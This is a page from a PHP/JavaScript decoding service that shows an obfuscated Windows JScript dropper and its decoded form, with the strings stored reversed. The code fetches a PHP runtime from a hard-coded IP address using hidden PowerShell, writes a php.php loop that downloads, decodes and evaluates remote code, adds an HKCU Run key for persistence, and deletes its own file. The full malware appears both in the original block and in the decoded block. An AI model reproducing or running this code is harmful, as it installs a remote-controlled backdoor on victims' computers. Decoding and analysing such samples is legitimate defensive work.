Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
var aaaa = {aa:";))(}\n)(i \n \n} \n}{ )e( hctac } \n)emaNlluFtpircS.tpircSW(eliFete..
Decoded Output download
<? var aaaa = {aa:";))(}
)(i
}
}{ )e( hctac }
)emaNlluFtpircS.tpircSW(eliFeteleD.e
{ yrt
}{ )e( hctac }
;)eurt ,0 ,'q\/ s\/ \"' + esabphp_7php + '\" ridmr'(nuR.c
{ yrt
}{ )e( hctac }
}
}
}
}
;)0 ,\"nepo\" ,esabphp_7php ,'\"' + emanelif_trats + '\" B\/' ,\"exe.tpircsw\\23metsys\\swodniw\\:c\"(etucexEllehS.d nruter
}{ )e( hctac }
)emaNlluFtpircS.tpircSW(eliFeteleD.e
{ yrt
}
}{ )e( hctac }
)\"ZS_GER\" ,'\"' + emanelif_trats + '\" B\/' + \"02x\\" + \"exe.tpircsw\\23metsys\\swodniw\\:c\" ,q + a(etirWgeR.c
{ yrt
{ )++q ;1 < q ;0 = q rav( rof
{ ))php_7php(stsixEeliF.e( fi
;)(esolc.ini
;)\"} n\;)06(peels n\ n\} n\;)006(peels n\{ )ea$ noitpecxE( hctac } n\} n\;))ca$(etalfnizg(lave n\;)ca$(edoced_46esab = ca$ n\{ )002 == da$( fi n\ n\;)ba$(esolc_lruc n\;)EDOC_PTTH_OFNILRUC ,ba$(ofniteg_lruc = da$ n\;)ba$(cexe_lruc = ca$ n\ n\;)0 ,TCENNOC_HSERF_TPOLRUC ,ba$(tpotes_lruc n\;)0 ,ESUER_DIBROF_TPOLRUC ,ba$(tpotes_lruc n\;)03 ,TUOEMIT_TPOLRUC ,ba$(tpotes_lruc n\;)01 ,TUOEMITTCENNOC_TPOLRUC ,ba$(tpotes_lruc n\;)'okceG ekil )0.11:vr ;0.7\/tnedirT ;46WOW ;1.6 TN swodniW( 0.5\/allizoM' ,TNEGARESU_TPOLRUC ,ba$(tpotes_lruc n\;)aa$ ,LRU_TPOLRUC ,ba$(tpotes_lruc n\;)eurt ,REFSNARTNRUTER_TPOLRUC ,ba$(tpotes_lruc n\;)(tini_lruc = ba$ n\{ yrt n\ n\;'php.teg\/631.25.8.5\/\/:ptth' = aa$ n\{ );;(rof n\n\php?<\"(eniLetirW.ini
;)eslaf ,eurt ,php_7php(eliFtxeTetaerC.e = ini rav
{ ))ini_7php(stsixEeliF.e( fi
;)(esolc.trats
;)\";)0 ,\"\nepo\"\ ,\"\\" + )\"\\\\\" ,g\/\\\/(ecalper.esabphp_7php + \"\"\ ,\"\\" + )\"\\\\\" ,g\/\\\/(ecalper.php_7php + \"\"\ ,\"\\" + )\"\\\\\" ,g\/\\\/(ecalper.exe_7php + \"\"\(etucexEllehS.$\"(eniLetirW.trats
;)\";)\"\noitacilppA.llehS\"\(tcejbOetaerC.tpircSW=$ rav\"(eniLetirW.trats
;)eslaf ,eurt ,emanelif_trats(eliFtxeTetaerC.e = trats rav
;)(esolc.ini
;)\"lld.tentod_moc_php=noisnetxe\"(eniLetirW.ini
;)\"lld.lssnepo_php=noisnetxe\"(eniLetirW.ini
;)\"lld.fixe_php=noisnetxe\"(eniLetirW.ini
;)\"lld.gnirtsbm_php=noisnetxe\"(eniLetirW.ini
;)\"lld.padl_php=noisnetxe\"(eniLetirW.ini
;)\"lld.pami_php=noisnetxe\"(eniLetirW.ini
;)\"lld.pmg_php=noisnetxe\"(eniLetirW.ini
;)\"lld.txetteg_php=noisnetxe\"(eniLetirW.ini
;)\"lld.2dg_php=noisnetxe\"(eniLetirW.ini
;)\"lld.ofnielif_php=noisnetxe\"(eniLetirW.ini
;)\"lld.lruc_php=noisnetxe\"(eniLetirW.ini
;)\"lld.2zb_php=noisnetxe\"(eniLetirW.ini
;)\"\"\txe\"\=rid_noisnetxe\"(eniLetirW.ini
;)eslaf ,eurt ,ini_7php(eliFtxeTetaerC.e = ini rav
{ ))emanelif_011rcvsm(stsixEeliF.e( fi
;)esabphp_7php ,emanelif_011rcvsm ,011rcvsm(h
{ ))exe_7php(stsixEeliF.e( fi
;)emanelif_7php(eliFeteleD.e
;)esabphp_7php ,emanelif_7php ,7php(h
}
;nruter
}{ )e( hctac }
)emaNlluFtpircS.tpircSW(eliFeteleD.e
{ yrt
{ ))exe_7php(stsixEeliF.e( fi
;\"sj.php\" + esabphp_7php = emanelif_trats rav
;\"lld.011rcvsm\" + esabphp_7php = emanelif_011rcvsm rav
;\"lld.011rcvsm\/php\/troppus\/retsam\/war\/swodniw-rof-php-lqsym-ehcapa-elbatrop\/tfoselcibuc\/moc.buhtig\/\/:sptth\" = 011rcvsm rav
;\"ini.php\" + esabphp_7php = ini_7php rav
;\"php.php\" + esabphp_7php = php_7php rav
;\"exe.php\" + esabphp_7php = exe_7php rav
;\"\\php\" + esab = esabphp_7php rav
;\"piz.php\" + esab = emanelif_7php rav
;)(g = esab rav
;)\"tcejbOmetsySeliF.gnitpircS\"(tcejbOetaerC.tpircSW = e rav
;)\"noitacilppA.llehS\"(tcejbOetaerC.tpircSW = d rav
;)\"llehS.tpircSW\"(tcejbOetaerC.tpircSW = c rav
;\"piz.php\/631.25.8.5\/\/:ptth\" = 7php rav
{ yrt
{ )(noitcnuf = i rav
}
;)eurt ,0 ,\"\"\'\" + yrotceriDs + \"' htaPnoitanitseD- '\" + emaNeliFs + \"' evihcrA-dnapxE;)'\" + emaNeliFs + \"','\" + LRUs + \"'(eliFdaolnwoD.)tneilCbeW.teN.metsyS tcejbo-wen(\"\ dnammoC- neddiH elytSwodniW- eliforPoN- evitcaretnInoN- ogoLoN- ssapyB yciloPnoitucexE- exe.llehsrewop\"(nuR.c
{ )yrotceriDs ,emaNeliFs ,LRUs(noitcnuf = h rav
}
redlof nruter
;\"c5x\swodniWc5x\tfosorciMc5x\ataD noitacilppAc5x\\" + )(f + \"c5x\sgnitteS dna stnemucoDc5x\:c\" = redlof
))redlof(stsixEredloF.e!( fi
;\"c5x\pmeTc5x\lacoLc5x\ataDppAc5x\\" + )(f + \"c5x\sresUc5x\:c\" = redlof
))redlof(stsixEredloF.e!( fi
;\"c5x\swodniWc5x\tfosorciMc5x\lacoLc5x\ataDppAc5x\\" + )(f + \"c5x\sresUc5x\:c\" = redlof rav
{ )(noitcnuf = g rav
}
;)\"%EMANRESU%\"(sgnirtStnemnorivnEdnapxE.c nruter
{ )(noitcnuf = f rav
;)\"tcejbOmetsySeliF.gnitpircS\"(tcejbOetaerC.tpircSW = e rav
;)\"noitacilppA.llehS\"(tcejbOetaerC.tpircSW = d rav
;)\"llehS.tpircSW\"(tcejbOetaerC.tpircSW = c rav
;\"b\" = b rav
;\"llatsnIc5x\nuRc5x\noisreVtnerruCc5x\swodniWc5x\tfosorciMc5x\erawtfoSc5x\RESU_TNERRUC_YEKH\" = a rav
{)(noitcnuf("};
var y = 0;
try {
var z = new ActiveXObject("wscript.shell");
z.IsServiceRunning = 1
} catch (e) {
y = 1
}
String.prototype.a = function() {aaaa = aaaa.aa.split(y ? "" : "a").reverse()};
String.prototype.b = function() {eval(aaaa.join(""))};
"".b("".a()) ?>
Did this file decode correctly?
Original Code
var aaaa = {aa:";))(}\n)(i \n \n} \n}{ )e( hctac } \n)emaNlluFtpircS.tpircSW(eliFeteleD.e \n{ yrt \n}{ )e( hctac } \n;)eurt ,0 ,'q\/ s\/ \"' + esabphp_7php + '\" ridmr'(nuR.c \n{ yrt \n \n}{ )e( hctac } \n} \n} \n} \n} \n;)0 ,\"nepo\" ,esabphp_7php ,'\"' + emanelif_trats + '\" B\/' ,\"exe.tpircsw\\\\23metsys\\\\swodniw\\\\:c\"(etucexEllehS.d nruter \n}{ )e( hctac } \n)emaNlluFtpircS.tpircSW(eliFeteleD.e \n{ yrt \n} \n}{ )e( hctac } \n)\"ZS_GER\" ,'\"' + emanelif_trats + '\" B\/' + \"02x\\\" + \"exe.tpircsw\\\\23metsys\\\\swodniw\\\\:c\" ,q + a(etirWgeR.c \n{ yrt \n{ )++q ;1 < q ;0 = q rav( rof \n{ ))php_7php(stsixEeliF.e( fi \n \n;)(esolc.ini \n;)\"} n\\;)06(peels n\\ n\\} n\\;)006(peels n\\{ )ea$ noitpecxE( hctac } n\\} n\\;))ca$(etalfnizg(lave n\\;)ca$(edoced_46esab = ca$ n\\{ )002 == da$( fi n\\ n\\;)ba$(esolc_lruc n\\;)EDOC_PTTH_OFNILRUC ,ba$(ofniteg_lruc = da$ n\\;)ba$(cexe_lruc = ca$ n\\ n\\;)0 ,TCENNOC_HSERF_TPOLRUC ,ba$(tpotes_lruc n\\;)0 ,ESUER_DIBROF_TPOLRUC ,ba$(tpotes_lruc n\\;)03 ,TUOEMIT_TPOLRUC ,ba$(tpotes_lruc n\\;)01 ,TUOEMITTCENNOC_TPOLRUC ,ba$(tpotes_lruc n\\;)'okceG ekil )0.11:vr ;0.7\/tnedirT ;46WOW ;1.6 TN swodniW( 0.5\/allizoM' ,TNEGARESU_TPOLRUC ,ba$(tpotes_lruc n\\;)aa$ ,LRU_TPOLRUC ,ba$(tpotes_lruc n\\;)eurt ,REFSNARTNRUTER_TPOLRUC ,ba$(tpotes_lruc n\\;)(tini_lruc = ba$ n\\{ yrt n\\ n\\;'php.teg\/631.25.8.5\/\/:ptth' = aa$ n\\{ );;(rof n\\n\\php?<\"(eniLetirW.ini \n;)eslaf ,eurt ,php_7php(eliFtxeTetaerC.e = ini rav \n{ ))ini_7php(stsixEeliF.e( fi \n\n;)(esolc.trats \n;)\";)0 ,\"\\nepo\"\\ ,\"\\\" + )\"\\\\\\\\\" ,g\/\\\\\/(ecalper.esabphp_7php + \"\"\\ ,\"\\\" + )\"\\\\\\\\\" ,g\/\\\\\/(ecalper.php_7php + \"\"\\ ,\"\\\" + )\"\\\\\\\\\" ,g\/\\\\\/(ecalper.exe_7php + \"\"\\(etucexEllehS.$\"(eniLetirW.trats \n;)\";)\"\\noitacilppA.llehS\"\\(tcejbOetaerC.tpircSW=$ rav\"(eniLetirW.trats \n;)eslaf ,eurt ,emanelif_trats(eliFtxeTetaerC.e = trats rav \n \n;)(esolc.ini \n;)\"lld.tentod_moc_php=noisnetxe\"(eniLetirW.ini \n;)\"lld.lssnepo_php=noisnetxe\"(eniLetirW.ini \n;)\"lld.fixe_php=noisnetxe\"(eniLetirW.ini \n;)\"lld.gnirtsbm_php=noisnetxe\"(eniLetirW.ini \n;)\"lld.padl_php=noisnetxe\"(eniLetirW.ini \n;)\"lld.pami_php=noisnetxe\"(eniLetirW.ini \n;)\"lld.pmg_php=noisnetxe\"(eniLetirW.ini \n;)\"lld.txetteg_php=noisnetxe\"(eniLetirW.ini \n;)\"lld.2dg_php=noisnetxe\"(eniLetirW.ini \n;)\"lld.ofnielif_php=noisnetxe\"(eniLetirW.ini \n;)\"lld.lruc_php=noisnetxe\"(eniLetirW.ini \n;)\"lld.2zb_php=noisnetxe\"(eniLetirW.ini \n;)\"\"\\txe\"\\=rid_noisnetxe\"(eniLetirW.ini \n;)eslaf ,eurt ,ini_7php(eliFtxeTetaerC.e = ini rav \n{ ))emanelif_011rcvsm(stsixEeliF.e( fi \n \n;)esabphp_7php ,emanelif_011rcvsm ,011rcvsm(h \n{ ))exe_7php(stsixEeliF.e( fi \n \n;)emanelif_7php(eliFeteleD.e \n;)esabphp_7php ,emanelif_7php ,7php(h \n \n} \n;nruter \n}{ )e( hctac } \n)emaNlluFtpircS.tpircSW(eliFeteleD.e \n{ yrt \n{ ))exe_7php(stsixEeliF.e( fi \n \n;\"sj.php\" + esabphp_7php = emanelif_trats rav \n;\"lld.011rcvsm\" + esabphp_7php = emanelif_011rcvsm rav \n;\"lld.011rcvsm\/php\/troppus\/retsam\/war\/swodniw-rof-php-lqsym-ehcapa-elbatrop\/tfoselcibuc\/moc.buhtig\/\/:sptth\" = 011rcvsm rav \n;\"ini.php\" + esabphp_7php = ini_7php rav \n;\"php.php\" + esabphp_7php = php_7php rav \n;\"exe.php\" + esabphp_7php = exe_7php rav \n;\"\\\\php\" + esab = esabphp_7php rav \n;\"piz.php\" + esab = emanelif_7php rav \n;)(g = esab rav \n;)\"tcejbOmetsySeliF.gnitpircS\"(tcejbOetaerC.tpircSW = e rav \n;)\"noitacilppA.llehS\"(tcejbOetaerC.tpircSW = d rav \n;)\"llehS.tpircSW\"(tcejbOetaerC.tpircSW = c rav \n;\"piz.php\/631.25.8.5\/\/:ptth\" = 7php rav \n{ yrt \n{ )(noitcnuf = i rav \n \n} \n;)eurt ,0 ,\"\"\\'\" + yrotceriDs + \"' htaPnoitanitseD- '\" + emaNeliFs + \"' evihcrA-dnapxE;)'\" + emaNeliFs + \"','\" + LRUs + \"'(eliFdaolnwoD.)tneilCbeW.teN.metsyS tcejbo-wen(\"\\ dnammoC- neddiH elytSwodniW- eliforPoN- evitcaretnInoN- ogoLoN- ssapyB yciloPnoitucexE- exe.llehsrewop\"(nuR.c \n{ )yrotceriDs ,emaNeliFs ,LRUs(noitcnuf = h rav \n \n} \nredlof nruter \n;\"c5x\\swodniWc5x\\tfosorciMc5x\\ataD noitacilppAc5x\\\" + )(f + \"c5x\\sgnitteS dna stnemucoDc5x\\:c\" = redlof \n))redlof(stsixEredloF.e!( fi \n;\"c5x\\pmeTc5x\\lacoLc5x\\ataDppAc5x\\\" + )(f + \"c5x\\sresUc5x\\:c\" = redlof \n))redlof(stsixEredloF.e!( fi \n;\"c5x\\swodniWc5x\\tfosorciMc5x\\lacoLc5x\\ataDppAc5x\\\" + )(f + \"c5x\\sresUc5x\\:c\" = redlof rav \n{ )(noitcnuf = g rav \n \n} \n;)\"%EMANRESU%\"(sgnirtStnemnorivnEdnapxE.c nruter \n{ )(noitcnuf = f rav \n \n;)\"tcejbOmetsySeliF.gnitpircS\"(tcejbOetaerC.tpircSW = e rav \n;)\"noitacilppA.llehS\"(tcejbOetaerC.tpircSW = d rav \n;)\"llehS.tpircSW\"(tcejbOetaerC.tpircSW = c rav \n \n;\"b\" = b rav \n;\"llatsnIc5x\\nuRc5x\\noisreVtnerruCc5x\\swodniWc5x\\tfosorciMc5x\\erawtfoSc5x\\RESU_TNERRUC_YEKH\" = a rav \n {)(noitcnuf("};
var y = 0;
try {
var z = new ActiveXObject("wscript.shell");
z.IsServiceRunning = 1
} catch (e) {
y = 1
}
String.prototype.a = function() {aaaa = aaaa.aa.split(y ? "" : "a").reverse()};
String.prototype.b = function() {eval(aaaa.join(""))};
"".b("".a())
Function Calls
None |
Stats
MD5 | 15b07200d832ff5d958937cd28dc529d |
Eval Count | 0 |
Decode Time | 89 ms |